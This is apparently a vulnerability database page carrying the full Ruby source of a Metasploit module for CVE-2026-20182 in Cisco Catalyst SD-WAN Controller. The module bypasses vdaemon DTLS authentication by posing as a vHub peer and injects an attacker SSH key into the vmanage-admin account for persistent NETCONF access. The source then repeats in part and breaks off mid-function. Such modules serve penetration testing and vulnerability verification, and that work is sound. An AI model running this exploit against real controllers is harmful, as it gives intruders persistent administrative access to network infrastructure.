10
/ 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Description
This module exploits an authentication bypass vulnerability CVE-2026-20182 in the Cisco Catalyst SD-WAN Controller. The vdaemon DTLS control-plane service performs no certificate or credential verification for connecting peers that claim to be a vHub...
Basic Information
ID
MSF:AUXILIARY-ADMIN-NETWORKING-CISCO_SDWAN_VHUB_AUTH_BYPASS-
Published
May 15, 2026 at 19:01
Affected Product
Affected Versions
# frozen_string_literal: true
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'fiddle'
require 'ipaddr'
require 'base64'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Udp
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cisco Catalyst SD-WAN Controller vHub Authentication Bypass',
'Description' => %q{
This module exploits an authentication bypass vulnerability (CVE-2026-20182)
in the Cisco Catalyst SD-WAN Controller. The vdaemon DTLS control-plane
service performs no certificate or credential verification for connecting peers
that claim to be a vHub (device type 2). The vbond_proc_challenge_ack() function
implements device-type-specific verification through a series of conditional
blocks, but contains no code path for device type 2 (vHub). After a DTLS
handshake using any self-signed certificate, an attacker sends a CHALLENGE_ACK
(msg_type=9) with the vHub device type encoded in the protocol header. The
function falls through all verification checks and unconditionally sets
peer->authenticated = 1.
This module leverages the authentication bypass to inject an attacker-controlled
SSH public key into the vmanage-admin user's authorized_keys file via a
VMANAGE_TO_PEER message (msg_type=14), providing persistent SSH access to the
controller over the NETCONF service (TCP port 830).
Affected versions: Cisco Catalyst SD-WAN Controller 20.12.6.1 and earlier.
Consult Cisco's security advisory for a complete list of affected versions
and patches.
},
'Author' => [
'sfewer-r7', # Vulnerability discovery
'Crypto-Cat', # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2026-20182'],
['URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa2-v69WY2SW'], # Vendor advisory
['URL', 'https://blog.talosintelligence.com/sd-wan-ongoing-exploitation/'], # Talos blog
['URL', 'https://www.rapid7.com/blog/post/ve-cve-2026-20182-critical-authentication-bypass-cisco-catalyst-sd-wan-controller-fixed/'] # Rapid7 blog
],
'DisclosureDate' => '2026-05-07',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options(
[
Opt::RPORT(12346),
OptInt.new('DOMAIN_ID', [true, 'SD-WAN domain ID', 1]),
OptInt.new('SITE_ID', [true, 'SD-WAN site ID', 100]),
OptPath.new('SSH_PUBLIC_KEY_FILE', [false, 'Path to an existing SSH public key file to inject'])
]
)
end
def check
result = perform_auth_bypass(ssh_key_inject: false, silent: !datastore['VERBOSE'])
if result == :vulnerable
Msf::Exploit::CheckCode::Vulnerable('Authentication bypass succeeded - vHub CHALLENGE_ACK accepted without verification')
elsif result == :detected
Msf::Exploit::CheckCode::Detected('DTLS service detected but bypass could not be confirmed')
else
Msf::Exploit::CheckCode::Unknown('Could not determine vulnerability status')
end
rescue ::StandardError => e
vprint_error("Check failed: #{e.message}")
Msf::Exploit::CheckCode::Unknown("Check failed: #{e.message}")
end
def run
result = perform_auth_bypass(ssh_key_inject: true, silent: false)
if result == :vulnerable
report_vuln(
host: rhost,
port: rport,
proto: 'udp',
name: name,
info: 'Authentication bypass confirmed - vHub CHALLENGE_ACK accepted without verification',
refs: references
)
print_good('Authentication bypass and SSH key injection completed!')
else
fail_with(Failure::UnexpectedReply, 'Exploit failed')
end
end
private
def perform_auth_bypass(ssh_key_inject:, silent: false)
ssl = nil
ctx = nil
udp_sock = nil
begin
# Phase 1: DTLS handshake
ssl, ctx, udp_sock, rbio, wbio = phase1_dtls_handshake(silent: silent)
return :safe unless ssl
# Phase 2: Receive CHALLENGE
return :detected unless phase2_receive_challenge(ssl, rbio, wbio, udp_sock, silent: silent)
# Phase 3: Send CHALLENGE_ACK (the bypass)
return :detected unless phase3_send_challenge_ack(ssl, rbio, wbio, udp_sock, silent: silent)
# Phase 4: Observe result
return :detected unless phase4_observe_result(ssl, rbio, wbio, udp_sock, silent: silent)
# Phase 5: Send Hello
return :detected unless phase5_send_hello(ssl, rbio, wbio, udp_sock, silent: silent)
# Phase 6: SSH key injection
phase6_ssh_key_inject(ssl, rbio, wbio, udp_sock, silent: silent) if ssh_key_inject
:vulnerable
ensure
cleanup_dtls(ssl, ctx, udp_sock)
end
end
def phase1_dtls_handshake(silent: false)
print_status('Phase 1: DTLS handshake with self-signed certificate') unless silent
load_openssl_ffi
# Generate self-signed certificate (in-memory, no files written to disk)
cert_der, key_der = generate_self_signed_cert
# Create UDP socket
udp_sock = Rex::Socket::Udp.create(
'PeerHost' => rhost,
'PeerPort' => rport,
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
)
# Create DTLS context
method_ptr = @f_dtls_client_method.call
fail_with(Failure::Unknown, 'DTLS_client_method() returned NULL') if method_ptr.null?
ctx = @f_ssl_ctx_new.call(method_ptr)
fail_with(Failure::Unknown, 'SSL_CTX_new() returned NULL') if ctx.null?
# Disable peer certificate verification
@f_ssl_ctx_set_verify.call(ctx, SSL_VERIFY_NONE, Fiddle::NULL)
# Load certificate and key from in-memory DER data
ret = @f_ssl_ctx_use_certificate_asn1.call(ctx, cert_der.bytesize, cert_der)
fail_with(Failure::Unknown, "SSL_CTX_use_certificate_ASN1 failed (ret=#{ret})") unless ret == 1
ret = @f_ssl_ctx_use_privatekey_asn1.call(EVP_PKEY_RSA, ctx, key_der, key_der.bytesize)
fail_with(Failure::Unknown, "SSL_CTX_use_PrivateKey_ASN1 failed (ret=#{ret})") unless ret == 1
# Create SSL object
ssl = @f_ssl_new.call(ctx)
fail_with(Failure::Unknown, 'SSL_new() returned NULL') if ssl.null?
# Create memory BIOs
mem_method = @f_bio_s_mem.call
rbio = @f_bio_new.call(mem_method)
wbio = @f_bio_new.call(mem_method)
fail_with(Failure::Unknown, 'BIO_new() returned NULL') if rbio.null? || wbio.null?
# Attach BIOs to SSL (SSL takes ownership)
@f_ssl_set_bio.call(ssl, rbio, wbio)
# Perform DTLS handshake
do_dtls_handshake(ssl, rbio, wbio, udp_sock)
print_status('DTLS handshake succeeded (self-signed cert accepted)') unless silent
[ssl, ctx, udp_sock, rbio, wbio]
rescue ::Rex::ConnectionError, ::Errno::ECONNREFUSED => e
print_error("Connection failed: #{e.message}") unless silent
cleanup_dtls(ssl, ctx, udp_sock)
[nil, nil, nil, nil, nil]
rescue Fiddle::DLError => e
print_error("OpenSSL FFI error: #{e.message}") unless silent
cleanup_dtls(ssl, ctx, udp_sock)
[nil, nil, nil, nil, nil]
end
def phase2_receive_challenge(ssl, rbio, wbio, udp_sock, silent: false)
print_status('Phase 2: Waiting for CHALLENGE from server') unless silent
hdr, body = recv_message(ssl, rbio, wbio, udp_sock, timeout: 15)
unless hdr
print_error('No CHALLENGE received from server') unless silent
return false
end
if hdr_msg_type(hdr) != MSG_CHALLENGE
print_error("Expected CHALLENGE (type=#{MSG_CHALLENGE}), got #{msg_name(hdr_msg_type(hdr))} (type=#{hdr_msg_type(hdr)})") unless silent
return false
end
print_status("CHALLENGE received (#{body.bytesize} bytes of challenge data)") unless silent
true
end
def phase3_send_challenge_ack(ssl, _rbio, wbio, udp_sock, silent: false)
print_status('Phase 3: Sending CHALLENGE_ACK as vHub (authentication bypass)') unless silent
ack_body = build_challenge_ack_body
send_message(ssl, wbio, udp_sock, MSG_CHALLENGE_ACK, ack_body)
true
end
def phase4_observe_result(ssl, rbio, wbio, udp_sock, silent: false)
print_status('Phase 4: Waiting for server response to CHALLENGE_ACK') unless silent
hdr, _body = recv_message(ssl, rbio, wbio, udp_sock, timeout: 10)
if hdr
mtype = hdr_msg_type(hdr)
if mtype == MSG_TEAR_DOWN
print_warning('TEAR_DOWN received - server rejected the CHALLENGE_ACK') unless silent
return false
end
print_status("Server responded with: #{msg_name(mtype)}") unless silent
else
print_warning('No immediate response (server may be waiting for our Hello)') unless silent
end
true
end
def phase5_send_hello(ssl, rbio, wbio, udp_sock, silent: false)
print_status('Phase 5: Sending Hello as authenticated peer') unless silent
hello_body = build_hello_body
send_message(ssl, wbio, udp_sock, MSG_HELLO, hello_body)
hdr, _body = recv_message(ssl, rbio, wbio, udp_sock, timeout: 10)
if hdr
mtype = hdr_msg_type(hdr)
if mtype == MSG_HELLO
print_good('Hello response received - authenticated as vHub peer') unless silent
return true
elsif mtype == MSG_TEAR_DOWN
print_warning('TEAR_DOWN received after Hello') unless silent
else
print_warning("Server responded with: #{msg_name(mtype)}") unless silent
end
else
print_warning('No Hello response') unless silent
end
false
end
def phase6_ssh_key_inject(ssl, rbio, wbio, udp_sock, silent: false)
print_status('Phase 6: Injecting SSH public key into vmanage-admin authorized_keys') unless silent
ssh_pubkey, ssh_privkey_pem = resolve_ssh_key(silent: silent)
# Build SSH key injection body (769 bytes)
key_body = build_ssh_inject_body(ssh_pubkey)
send_message(ssl, wbio, udp_sock, MSG_VMANAGE_TO_PEER, key_body)
if datastore['SSH_PUBLIC_KEY_FILE']
# If we are using an existing key supplied by the user, just show how to connect to the NETCONF service.
print_good("Use: ssh -i <SSH_PRIVATE_KEY_FILE> vmanage-admin@#{rhost} -p 830") unless silent
else
# Write SSH key file to loot
privkey_path = store_loot(
'cisco.sdwan.sshkey',
'application/x-pem-file',
rhost,
ssh_privkey_pem,
'sdwan_ssh_key.pem',
'SSH private key for vmanage-admin access'
)
::File.chmod(0o600, privkey_path)
unless silent
print_status("SSH private key saved to loot: #{privkey_path}")
# Provide connection instructions
print_good('Connect to NETCONF via:')
print_line("ssh -i #{privkey_path} vmanage-admin@#{rhost} -p 830")
end
end
# Check for response
hdr, _body = recv_message(ssl, rbio, wbio, udp_sock, timeout: 5)
if hdr
mtype = hdr_msg_type(hdr)
if mtype == MSG_REGISTER_TO_VMANAGE
print_status('Server responded with: REGISTER_TO_VMANAGE (key has been injected)') unless silent
else
print_warning("Server responded with: #{msg_name(mtype)}") unless silent
end
else
print_warning('No response to key injection') unless silent
end
end
#
# vdaemon protocol constants
#
MSG_HELLO = 0x05
MSG_CHALLENGE = 0x08
MSG_CHALLENGE_ACK = 0x09
MSG_TEAR_DOWN = 0x0B
MSG_REGISTER_TO_VMANAGE = 0x0D
MSG_VMANAGE_TO_PEER = 0x0E
# Device type encoded in the upper nibble of header byte 1.
# Claiming vHub (type 2) causes vbond_proc_challenge_ack() to fall through
# all verification branches and unconditionally set peer->authenticated = 1.
DEV_VHUB = 2
HDR_FLAGS = 0xA0
TLV_UUID = 0x0006
TLV_INSTANCE_ID = 0x0013
TLV_MAX_INSTANCES = 0x0014
TLV_FLAG_18 = 0x0018
TLV_FLAG_19 = 0x0019
TLV_SERVER_KEY = 0x0032
TLV_NUM_VSMARTS = 0x0021
TLV_NUM_VMANAGES = 0x0022
MSG_NAMES = {
0 => 'NEW_CHALLENGE_ACK',
1 => 'Register',
5 => 'Hello',
7 => 'Data',
8 => 'CHALLENGE',
9 => 'CHALLENGE_ACK',
10 => 'CHALLENGE_ACK_ACK',
11 => 'TEAR_DOWN',
12 => 'DELETE_VSMARTS_SERIAL',
13 => 'REGISTER_TO_VMANAGE',
14 => 'VMANAGE_TO_PEER',
15 => 'submsg'
}.freeze
#
# Protocol encoding/decoding
#
def build_header(msg_type)
byte0 = msg_type & 0x0F
byte1 = (DEV_VHUB & 0x0F) << 4
domain_id = datastore['DOMAIN_ID']
site_id = datastore['SITE_ID']
[byte0, byte1, HDR_FLAGS, 0x00, domain_id, site_id].pack('CCCCN2')
end
def hdr_msg_type(hdr_bytes)
hdr_bytes.getbyte(0) & 0x0F
end
def msg_name(type)
MSG_NAMES.fetch(type) { format('Unknown(0x%02X)', type) }
end
def send_message(ssl, wbio, udp_sock, msg_type, body = ''.b)
header = build_header(msg_type)
message = header + body
vprint_status("Sending #{msg_name(msg_type)} (#{message.bytesize} bytes)")
dtls_send(ssl, wbio, udp_sock, message)
end
def recv_message(ssl, rbio, wbio, udp_sock, timeout: 10)
data = dtls_recv(ssl, rbio, wbio, udp_sock, timeout: timeout)
return [nil, nil] unless data
return [nil, nil] if data.bytesize < 12
hdr = data[0, 12]
body = data[12..] || ''.b
mtype = hdr_msg_type(hdr)
vprint_status("Received #{msg_name(mtype)} (#{data.bytesize} bytes)")
[hdr, body]
end
#
# Message body builders
#
def build_challenge_ack_body
uuid = format(
'%<a>08x-%<b>04x-%<c>04x-%<d>04x-%<e>012x',
a: rand(0xffffffff), b: rand(0xffff), c: rand(0xffff),
d: rand(0xffff), e: rand(0xffffffffffff)
)
server_key = Rex::Text.rand_text_alphanumeric(32)
tlvs = [
build_tlv(TLV_INSTANCE_ID, [0].pack('n')),
build_tlv(TLV_MAX_INSTANCES, [1].pack('n')),
build_tlv(TLV_FLAG_18, [1].pack('C')),
build_tlv(TLV_FLAG_19, [0].pack('C')),
build_tlv(TLV_UUID, uuid),
build_tlv(TLV_SERVER_KEY, server_key)
]
buf = [0, 0].pack('CC') # verified_status=0, hardware_flag=0
buf << [tlvs.size].pack('C')
buf << tlvs.join
buf
end
def build_hello_body
buf = ''.b
buf << [0x00, 0x00, 0x00, 0x00].pack('CCCC') # preamble, is_dummy=false
buf << [0x0002].pack('n') # address family: AF_INET
buf << IPAddr.new(rhost, Socket::AF_INET).hton # IP address
buf << [rport].pack('n') # port
buf << [1].pack('N') # color
buf << ("\x00" * 20) # label/key padding
buf << [10_000, 60_000].pack('N2') # hello_interval_ms, hello_tolerance_ms
tlv_vsmarts = build_tlv(TLV_NUM_VSMARTS, [0x00].pack('C'))
tlv_vmanages = build_tlv(TLV_NUM_VMANAGES, [0x00].pack('C'))
buf << [2].pack('C')
buf << tlv_vsmarts
buf << tlv_vmanages
buf
end
def build_tlv(type, value)
[type, value.bytesize].pack('n2') + value.b
end
def build_ssh_inject_body(ssh_pubkey)
# Leading newline ensures key appends cleanly regardless of whether
# authorized_keys ends with a newline. Trailing newline for consistency.
key_buf = "\n".b + ssh_pubkey.b
key_buf << "\n".b unless key_buf.end_with?("\n".b)
key_buf << "\x00".b # null-terminate for fputs()
key_buf << ("\x00".b * (768 - key_buf.bytesize)) if key_buf.bytesize < 768
key_buf << [0].pack('C') # TLV count = 0
key_buf
end
#
# Certificate and SSH key helpers
#
def generate_self_signed_cert
key = OpenSSL::PKey::RSA.new(2048)
cert = OpenSSL::X509::Certificate.new
cert.version = 2
cert.serial = rand(1..0xFFFFFFFF)
cert.subject = OpenSSL::X509::Name.parse('/CN=/O=/C=')
cert.issuer = cert.subject
cert.public_key = key
cert.not_before = Time.now - 60
cert.not_after = Time.now + (365 * 86_400)
cert.sign(key, OpenSSL::Digest.new('SHA256'))
[cert.to_der, key.to_der]
end
def resolve_ssh_key(silent: false)
if datastore['SSH_PUBLIC_KEY_FILE']
pubkey = File.read(datastore['SSH_PUBLIC_KEY_FILE']).strip
print_status("Using SSH public key from #{datastore['SSH_PUBLIC_KEY_FILE']}") unless silent
return [pubkey, nil]
end
# Generate new RSA keypair
print_status('Generating RSA 2048-bit SSH keypair') unless silent
key = OpenSSL::PKey::RSA.new(2048)
pubkey_str = build_openssh_pubkey(key)
privkey_pem = key.to_pem
[pubkey_str, privkey_pem]
end
def build_openssh_pubkey(key)
e_bytes = bn_to_bytes(key.e)
n_bytes = bn_to_bytes(key.n)
# Prepend 0x00 if MSB is set (two's complement sign bit)
e_bytes = "\x00".b + e_bytes if e_bytes.getbyte(0) & 0x80 != 0
n_bytes = "\x00".b + n_bytes if n_bytes.getbyte(0) & 0x80 != 0
blob = ssh_string('ssh-rsa') + ssh_string(e_bytes) + ssh_string(n_bytes)
"ssh-rsa #{Base64.strict_encode64(blob)}"
end
def ssh_string(data)
data = data.b if data.respond_to?(:b)
[data.bytesize].pack('N') + data
end
def bn_to_bytes(bn)
hex = bn.to_s(16)
hex = "0#{hex}" if hex.length.odd?
[hex].pack('H*')
end
#
# DTLS transport via Fiddle (OpenSSL C API)
#
# Ruby's OpenSSL bindings do not support DTLS. We use Fiddle to call the
# OpenSSL C API directly with memory BIOs to drive the DTLS 1.2 handshake.
#
# OpenSSL constants for Fiddle FFI
SSL_VERIFY_NONE = 0
EVP_PKEY_RSA = 6
SSL_ERROR_WANT_READ = 2
SSL_ERROR_WANT_WRITE = 3
SSL_ERROR_ZERO_RETURN = 6
BIO_CTRL_PENDING = 10
DTLS_CTRL_HANDLE_TIMEOUT = 106
HANDSHAKE_TIMEOUT = 5
MAX_HANDSHAKE_RETRIES = 10
RECV_BUF_SIZE = 65_536
def load_openssl_ffi
return if @ffi_loaded
libssl = load_native_lib('ssl')
libcrypto = load_native_lib('crypto')
# libssl functions
@f_dtls_client_method = bind_function(libssl, 'DTLS_client_method', [], Fiddle::TYPE_VOIDP)
@f_ssl_ctx_new = bind_function(libssl, 'SSL_CTX_new', [Fiddle::TYPE_VOIDP], Fiddle::TYPE_VOIDP)
@f_ssl_ctx_set_verify = bind_function(libssl, 'SSL_CTX_set_verify', [Fiddle::TYPE_VOIDP, Fiddle::TYPE_INT, Fiddle::TYPE_VOIDP], Fiddle::TYPE_VOID)
@f_ssl_ctx_use_certificate_asn1 = bind_function(libssl, 'SSL_CTX_use_certificate_ASN1', [Fiddle::TYPE_VOIDP, Fiddle::TYPE_INT, Fiddle::TYPE_VOIDP], Fiddle::TYPE_INT)
@f_ssl_ctx_use_privatekey_asn1 = bind_function(libssl, 'SSL_CTX_use_PrivateKey_ASN1', [Fiddle::TYPE_INT, Fiddle::TYPE_VOIDP, Fiddle::TYPE_VOIDP, Fiddle::TYPE_LONG], Fiddle::TYPE_INT)
@f_ssl_new = bind_function(libssl, 'SSL_new', [Fiddle::TYPE_VOIDP], Fiddle::TYPE_VOIDP)
@f_ssl_set_bio = bind_function(libssl, 'SSL_set_bio', [Fiddle::TYPE_VOIDP, Fiddle::TYPE_VOIDP, Fiddle::TYPE_VOIDP], Fiddle::TYPE_VOID)
@f_ssl_connect = bind_function(libssl, 'SSL_connect', [Fiddle::TYPE_VOIDP], Fiddle::TYPE_INT)
@f_ssl_read = bind_function(libssl, 'SSL_read', [Fiddle::TYPE_VOIDP, Fiddle::TYPE_VOIDP, Fiddle::TYPE_INT], Fiddle::TYPE_INT)
@f_ssl_write = bind_function(libssl, 'SSL_write', [Fiddle::TYPE_VOIDP, Fiddle::TYPE_VOIDP, Fiddle::TYPE_INT], Fiddle::TYPE_INT)
@f_ssl_get_error = bind_function(libssl, 'SSL_get_error', [Fiddle::TYPE_VOIDP, Fiddle::TYPE_INT], Fiddle::TYPE_INT)
@f_ssl_free = bind_function(libssl, 'SSL_free', [Fiddle::TYPE_VOIDP], Fiddle::TYPE_VOID)
@f_ssl_ctx_free = bind_function(libssl, 'SSL_CTX_free', [Fiddle::TYPE_VOIDP], Fiddle::TYPE_VOID)
@f_ssl_ctrl = bind_function(libssl, 'SSL_ctrl', [Fiddle::TYPE_VOIDP, Fiddle::TYPE_INT, Fiddle::TYPE_LONG, Fiddle::TYPE_VOIDP], Fiddle::TYPE_LONG)
# libcrypto functions
@f_bio_new = bind_function(libcrypto, 'BIO_new', [Fiddle::TYPE_VOIDP], Fiddle::TYPE_VOIDP)
@f_bio_s_mem = bind_function(libcrypto, 'BIO_s_mem', [], Fiddle::TYPE_VOIDP)
@f_bio_read = bind_function(libcrypto, 'BIO_read', [Fiddle::TYPE_VOIDP, Fiddle::TYPE_VOIDP, Fiddle::TYPE_INT], Fiddle::TYPE_INT)
@f_bio_write = bind_function(libcrypto, 'BIO_write', [Fiddle::TYPE_VOIDP, Fiddle::TYPE_VOIDP, Fiddle::TYPE_INT], Fiddle::TYPE_INT)
@f_bio_ctrl = bind_function(libcrypto, 'BIO_ctrl', [Fiddle::TYPE_VOIDP, Fiddle::TYPE_INT, Fiddle::TYPE_LONG, Fiddle::TYPE_VOIDP], Fiddle::TYPE_LONG)
@f_err_clear_error = bind_function(libcrypto, 'ERR_clear_error', [], Fiddle::TYPE_VOID)
@f_err_get_error = bind_function(libcrypto, 'ERR_get_error', [], Fiddle::TYPE_LONG)
@f_err_error_string_n = bind_function(libcrypto, 'ERR_error_string_n', [Fiddle::TYPE_LONG, Fiddle::TYPE_VOIDP, Fiddle::TYPE_SIZE_T], Fiddle::TYPE_VOID)
@recv_buf = Fiddle::Pointer.malloc(RECV_BUF_SIZE, Fiddle::RUBY_FREE)
@ffi_loaded = true
vprint_status('OpenSSL FFI bindings loaded successfully')
end
def load_native_lib(name)
candidates = case RUBY_PLATFORM
when /mingw|mswin|cygwin/
bin = RbConfig::CONFIG['bindir']
arch_dir = RbConfig::CONFIG['archdir']
site_arch = RbConfig::CONFIG['sitearchdir']
paths = []
[arch_dir, site_arch, bin].compact.uniq.each do |dir|
paths << "#{dir}/lib#{name}-3-x64.dll"
paths << "#{dir}/lib#{name}-3.dll"
paths << "#{dir}/lib#{name}-1_1-x64.dll"
end
paths += %W[lib#{name}-3-x64 lib#{name}-3 lib#{name}]
paths
when /darwin/
%W[
/usr/local/opt/openssl@3/lib/lib#{name}.3.dylib
/usr/local/opt/openssl/lib/lib#{name}.dylib
/opt/homebrew/opt/openssl@3/lib/lib#{name}.3.dylib
/opt/homebrew/opt/openssl/lib/lib#{name}.dylib
/opt/local/lib/lib#{name}.3.dylib
/opt/local/lib/lib#{name}.dylib
]
else
%W[
lib#{name}.so.3
lib#{name}.so.1.1
lib#{name}.so
]
end
candidates.each do |path|
next if path.start_with?('/') && !File.exist?(path)
return Fiddle.dlopen(path)
rescue Fiddle::DLError
next
end
fail_with(Failure::NotFound, "Cannot find lib#{name}. Ensure OpenSSL is installed.")
end
def bind_function(lib, name, args, ret)
Fiddle::Function.new(lib[name], args, ret)
end
def bio_ctrl_pending(bio)
@f_bio_ctrl.call(bio, BIO_CTRL_PENDING, 0, Fiddle::NULL)
end
def handle_dtls_timeout(ssl)
@f_ssl_ctrl.call(ssl, DTLS_CTRL_HANDLE_TIMEOUT, 0, Fiddle::NULL)
end
def drain_openssl_errors
msgs = []
loop do
code = @f_err_get_error.call
break if code == 0
buf = Fiddle::Pointer.malloc(256, Fiddle::RUBY_FREE)
@f_err_error_string_n.call(code, buf, 256)
msgs << buf.to_s
end
msgs
end
# Drive the DTLS handshake state machine, shuttling data between the
# SSL engine and the UDP socket via memory BIOs.
def do_dtls_handshake(ssl, rbio, wbio, udp_sock)
retries = 0
loop do
@f_err_clear_error.call
ret = @f_ssl_connect.call(ssl)
flush_wbio(wbio, udp_sock)
break if ret == 1
err = @f_ssl_get_error.call(ssl, ret)
case err
when SSL_ERROR_WANT_READ
ready = ::IO.select([udp_sock], nil, nil, HANDSHAKE_TIMEOUT)
if ready
begin
dgram = udp_sock.recvfrom(65_536)[0]
@f_bio_write.call(rbio, dgram, dgram.bytesize)
rescue ::IO::WaitReadable
retries += 1
fail_with(Failure::Unreachable, "DTLS handshake timeout after #{retries} retries") if retries > MAX_HANDSHAKE_RETRIES
handle_dtls_timeout(ssl)
flush_wbio(wbio, udp_sock)
end
else
retries += 1
fail_with(Failure::Unreachable, "DTLS handshake timeout after #{retries} retries") if retries > MAX_HANDSHAKE_RETRIES
handle_dtls_timeout(ssl)
flush_wbio(wbio, udp_sock)
end
when SSL_ERROR_WANT_WRITE
flush_wbio(wbio, udp_sock)
else
errors = drain_openssl_errors
fail_with(Failure::Unknown, "DTLS handshake failed (SSL error #{err}): #{errors.join('; ')}")
end
end
end
def flush_wbio(wbio, udp_sock)
loop do
pending = bio_ctrl_pending(wbio)
break if pending <= 0
buf = Fiddle::Pointer.malloc(pending, Fiddle::RUBY_FREE)
n = @f_bio_read.call(wbio, buf, pending)
break if n <= 0
udp_sock.write(buf.to_str(n))
end
end
def dtls_send(ssl, wbio, udp_sock, data)
@f_err_clear_error.call
ret = @f_ssl_write.call(ssl, data, data.bytesize)
if ret <= 0
err = @f_ssl_get_error.call(ssl, ret)
errors = drain_openssl_errors
fail_with(Failure::Unknown, "SSL_write failed (error #{err}): #{errors.join('; ')}")
end
flush_wbio(wbio, udp_sock)
ret
end
def dtls_recv(ssl, rbio, _wbio, udp_sock, timeout: 10)
ready = ::IO.select([udp_sock], nil, nil, timeout)
return nil unless ready
begin
dgram = udp_sock.recvfrom(65_536)[0]
rescue ::IO::WaitReadable
return nil
end
@f_bio_write.call(rbio, dgram, dgram.bytesize)
@f_err_clear_error.call
ret = @f_ssl_read.call(ssl, @recv_buf, RECV_BUF_SIZE)
if ret <= 0
err = @f_ssl_get_error.call(ssl, ret)
return nil if err == SSL_ERROR_WANT_READ
vprint_status("SSL_read error: #{err}")
return nil
end
@recv_buf.to_str(ret).b
end
def cleanup_dtls(ssl, ctx, udp_sock)
if ssl
begin
@f_ssl_free.call(ssl)
rescue ::StandardError
nil
end
end
if ctx
begin
@f_ssl_ctx_free.call(ctx)
rescue ::StandardError
nil
end
end
begin
udp_sock&.close
rescue ::StandardError
nil
end
end
end
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'fiddle'
require 'ipaddr'
require 'base64'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Udp
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cisco Catalyst SD-WAN Controller vHub Authentication Bypass',
'Description' => %q{
This module exploits an authentication bypass vulnerability (CVE-2026-20182)
in the Cisco Catalyst SD-WAN Controller. The vdaemon DTLS control-plane
service performs no certificate or credential verification for connecting peers
that claim to be a vHub (device type 2). The vbond_proc_challenge_ack() function
implements device-type-specific verification through a series of conditional
blocks, but contains no code path for device type 2 (vHub). After a DTLS
handshake using any self-signed certificate, an attacker sends a CHALLENGE_ACK
(msg_type=9) with the vHub device type encoded in the protocol header. The
function falls through all verification checks and unconditionally sets
peer->authenticated = 1.
This module leverages the authentication bypass to inject an attacker-controlled
SSH public key into the vmanage-admin user's authorized_keys file via a
VMANAGE_TO_PEER message (msg_type=14), providing persistent SSH access to the
controller over the NETCONF service (TCP port 830).
Affected versions: Cisco Catalyst SD-WAN Controller 20.12.6.1 and earlier.
Consult Cisco's security advisory for a complete list of affected versions
and patches.
},
'Author' => [
'sfewer-r7', # Vulnerability discovery
'Crypto-Cat', # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2026-20182'],
['URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa2-v69WY2SW'], # Vendor advisory
['URL', 'https://blog.talosintelligence.com/sd-wan-ongoing-exploitation/'], # Talos blog
['URL', 'https://www.rapid7.com/blog/post/ve-cve-2026-20182-critical-authentication-bypass-cisco-catalyst-sd-wan-controller-fixed/'] # Rapid7 blog
],
'DisclosureDate' => '2026-05-07',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options(
[
Opt::RPORT(12346),
OptInt.new('DOMAIN_ID', [true, 'SD-WAN domain ID', 1]),
OptInt.new('SITE_ID', [true, 'SD-WAN site ID', 100]),
OptPath.new('SSH_PUBLIC_KEY_FILE', [false, 'Path to an existing SSH public key file to inject'])
]
)
end
def check
result = perform_auth_bypass(ssh_key_inject: false, silent: !datastore['VERBOSE'])
if result == :vulnerable
Msf::Exploit::CheckCode::Vulnerable('Authentication bypass succeeded - vHub CHALLENGE_ACK accepted without verification')
elsif result == :detected
Msf::Exploit::CheckCode::Detected('DTLS service detected but bypass could not be confirmed')
else
Msf::Exploit::CheckCode::Unknown('Could not determine vulnerability status')
end
rescue ::StandardError => e
vprint_error("Check failed: #{e.message}")
Msf::Exploit::CheckCode::Unknown("Check failed: #{e.message}")
end
def run
result = perform_auth_bypass(ssh_key_inject: true, silent: false)
if result == :vulnerable
report_vuln(
host: rhost,
port: rport,
proto: 'udp',
name: name,
info: 'Authentication bypass confirmed - vHub CHALLENGE_ACK accepted without verification',
refs: references
)
print_good('Authentication bypass and SSH key injection completed!')
else
fail_with(Failure::UnexpectedReply, 'Exploit failed')
end
end
private
def perform_auth_bypass(ssh_key_inject:, silent: false)
ssl = nil
ctx = nil
udp_sock = nil
begin
# Phase 1: DTLS handshake
ssl, ctx, udp_sock, rbio, wbio = phase1_dtls_handshake(silent: silent)
return :safe unless ssl
# Phase 2: Receive CHALLENGE
return :detected unless phase2_receive_challenge(ssl, rbio, wbio, udp_sock, silent: silent)
# Phase 3: Send CHALLENGE_ACK (the bypass)
return :detected unless phase3_send_challenge_ack(ssl, rbio, wbio, udp_sock, silent: silent)
# Phase 4: Observe result
return :detected unless phase4_observe_result(ssl, rbio, wbio, udp_sock, silent: silent)
# Phase 5: Send Hello
return :detected unless phase5_send_hello(ssl, rbio, wbio, udp_sock, silent: silent)
# Phase 6: SSH key injection
phase6_ssh_key_inject(ssl, rbio, wbio, udp_sock, silent: silent) if ssh_key_inject
:vulnerable
ensure
cleanup_dtls(ssl, ctx, udp_sock)
end
end
def phase1_dtls_handshake(silent: false)
print_status('Phase 1: DTLS handshake with self-signed certificate') unless silent
load_openssl_ffi
# Generate self-signed certificate (in-memory, no files written to disk)
cert_der, key_der = generate_self_signed_cert
# Create UDP socket
udp_sock = Rex::Socket::Udp.create(
'PeerHost' => rhost,
'PeerPort' => rport,
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
)
# Create DTLS context
method_ptr = @f_dtls_client_method.call
fail_with(Failure::Unknown, 'DTLS_client_method() returned NULL') if method_ptr.null?
ctx = @f_ssl_ctx_new.call(method_ptr)
